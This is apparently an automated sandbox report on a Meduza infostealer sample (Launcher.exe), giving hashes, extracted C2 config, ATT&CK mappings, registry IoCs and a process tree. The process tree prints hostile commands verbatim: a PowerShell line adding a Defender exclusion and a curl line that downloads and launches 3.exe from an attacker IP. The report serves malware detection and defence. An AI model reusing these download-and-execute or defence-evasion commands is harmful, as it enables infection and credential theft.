meduza | e5f28e017baf7ffebe3b58cee33a73d3006acf6f3e15c9bb149aa4a13da6c848

General

Target

Launcher.exe
Size

201KB
MD5

2696d944ffbef69510b0c826446fd748
SHA1

e4106861076981799719876019fe5224eac2655c
SHA256

a4f53964cdddcccbd1b46da4d3f7f5f4292b5dd11c833d3db3a1e7def36da69a
SHA512

c286bc2da757cbb2a28cf516a4a273dd11b15f674d5f698a713dc794f013b7502a8893ab6041e51bab3cdd506a18c415b9df8483b19e312f8fcb88923f42b8eb
SSDEEP

3072:gyOSSX7XA5RwkP10/Cg+ufLLobyT9S9jHkQPEZS0bGAPo:tEXjA5yBF+ma9jHfPITGb

Score

10^/10

meduza 3 collection discovery execution spyware stealer

Malware Config

Extracted

Family

meduza

Botnet

3

C2

45.93.20.15

Attributes

anti_dbg
true
anti_vm
true
build_name
3
extensions
.txt; .doc; .xlsx
grabber_maximum_size
4194304
port
15666
self_destruct
false

Signatures

Meduza
Meduza is a crypto wallet and info stealer written in C++.
stealer meduza

Meduza Stealer payload 1 IoCs

resource	yara_rule
behavioral1/files/0x000400000001e9bf-43.dat	family_meduza

Meduza family
meduza

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4984	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
14	700	curl.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Control Panel\International\Geo\Nation	Launcher.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\Control Panel\International\Geo\Nation	3.exe

Executes dropped EXE 1 IoCs

pid	Process
5100	3.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 5 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	3.exe
Key opened	\REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\SOFTWARE\Microsoft\Office\12.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	3.exe
Key opened	\REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\SOFTWARE\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	3.exe
Key opened	\REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	3.exe
Key opened	\REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	3.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
19	api.ipify.org
20	api.ipify.org

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4984	powershell.exe
4984	powershell.exe
5100	3.exe
5100	3.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4984	powershell.exe
Token: SeDebugPrivilege	5100	3.exe
Token: SeImpersonatePrivilege	5100	3.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
4916	Launcher.exe
4916	Launcher.exe
4916	Launcher.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 4916 wrote to memory of 1084	4916	Launcher.exe	86
PID 4916 wrote to memory of 1084	4916	Launcher.exe	86
PID 4916 wrote to memory of 1084	4916	Launcher.exe	86
PID 1084 wrote to memory of 4984	1084	cmd.exe	89
PID 1084 wrote to memory of 4984	1084	cmd.exe	89
PID 1084 wrote to memory of 4984	1084	cmd.exe	89
PID 4916 wrote to memory of 3388	4916	Launcher.exe	90
PID 4916 wrote to memory of 3388	4916	Launcher.exe	90
PID 4916 wrote to memory of 3388	4916	Launcher.exe	90
PID 3388 wrote to memory of 700	3388	cmd.exe	92
PID 3388 wrote to memory of 700	3388	cmd.exe	92
PID 3388 wrote to memory of 700	3388	cmd.exe	92
PID 3388 wrote to memory of 5100	3388	cmd.exe	93
PID 3388 wrote to memory of 5100	3388	cmd.exe	93

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	3.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2593460650-190333679-3676257533-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	3.exe

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4916
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\3.exe'"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1084
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp\3.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4984
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd C:\Windows\Temp\ & curl -o 3.exe http://147.45.44.170/3.exe & start 3.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3388
- - C:\Windows\SysWOW64\curl.exe
    curl -o 3.exe http://147.45.44.170/3.exe
    3⤵
    - Downloads MZ/PE file
    PID:700
- - C:\Windows\Temp\3.exe
    3.exe
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Accesses Microsoft Outlook profiles
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:5100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Browser Information Discovery

Query Registry

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Data from Local System

Email Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kbwem4rb.uww.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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C:\Windows\Temp\3.exe

Filesize
1.2MB

MD5
5a808e801af08da761962ef77ba793fa

SHA1
a412e2b4644214f7ed003d94c7af33cdf8d0043c

SHA256
f6fa5378e234f61363321d4f2020cf4f483c0aae06031dbab60377071ff0667c

SHA512
020291dfb235293903b97c6a6809498ee08d285e4b739cce30878f17b74fa5f007a327b601978cde6626f230ca9aa271b83bc5e30f1d68de46c5eac04cdad341

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memory/4984-21-0x000000006F580000-0x000000006F5CC000-memory.dmp

Filesize
304KB

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memory/4984-45-0x0000000007A00000-0x0000000007A0E000-memory.dmp

Filesize
56KB

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memory/4984-4-0x0000000005500000-0x0000000005522000-memory.dmp

Filesize
136KB

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memory/4984-7-0x0000000005E70000-0x0000000005ED6000-memory.dmp

Filesize
408KB

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memory/4984-33-0x00000000076E0000-0x0000000007783000-memory.dmp

Filesize
652KB

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memory/4984-2-0x0000000005660000-0x0000000005C88000-memory.dmp

Filesize
6.2MB

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memory/4984-5-0x0000000072CC0000-0x0000000073470000-memory.dmp

Filesize
7.7MB

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memory/4984-17-0x0000000005EE0000-0x0000000006234000-memory.dmp

Filesize
3.3MB

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memory/4984-18-0x00000000064A0000-0x00000000064BE000-memory.dmp

Filesize
120KB

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memory/4984-19-0x00000000064D0000-0x000000000651C000-memory.dmp

Filesize
304KB

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memory/4984-20-0x0000000006A80000-0x0000000006AB2000-memory.dmp

Filesize
200KB

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memory/4984-22-0x0000000072CC0000-0x0000000073470000-memory.dmp

Filesize
7.7MB

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memory/4984-3-0x0000000072CC0000-0x0000000073470000-memory.dmp

Filesize
7.7MB

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memory/4984-0-0x0000000072CCE000-0x0000000072CCF000-memory.dmp

Filesize
4KB

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memory/4984-6-0x0000000005E00000-0x0000000005E66000-memory.dmp

Filesize
408KB

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memory/4984-34-0x0000000072CC0000-0x0000000073470000-memory.dmp

Filesize
7.7MB

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memory/4984-35-0x0000000072CC0000-0x0000000073470000-memory.dmp

Filesize
7.7MB

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memory/4984-36-0x0000000007E10000-0x000000000848A000-memory.dmp

Filesize
6.5MB

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memory/4984-37-0x00000000077D0000-0x00000000077EA000-memory.dmp

Filesize
104KB

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memory/4984-38-0x0000000007840000-0x000000000784A000-memory.dmp

Filesize
40KB

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memory/4984-39-0x0000000007A50000-0x0000000007AE6000-memory.dmp

Filesize
600KB

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memory/4984-40-0x00000000079D0000-0x00000000079E1000-memory.dmp

Filesize
68KB

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memory/4984-1-0x0000000002EB0000-0x0000000002EE6000-memory.dmp

Filesize
216KB

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memory/4984-32-0x0000000006AC0000-0x0000000006ADE000-memory.dmp

Filesize
120KB

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memory/4984-46-0x0000000007A10000-0x0000000007A24000-memory.dmp

Filesize
80KB

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memory/4984-47-0x0000000007B10000-0x0000000007B2A000-memory.dmp

Filesize
104KB

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memory/4984-48-0x0000000007AF0000-0x0000000007AF8000-memory.dmp

Filesize
32KB

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memory/4984-51-0x0000000072CC0000-0x0000000073470000-memory.dmp

Filesize
7.7MB

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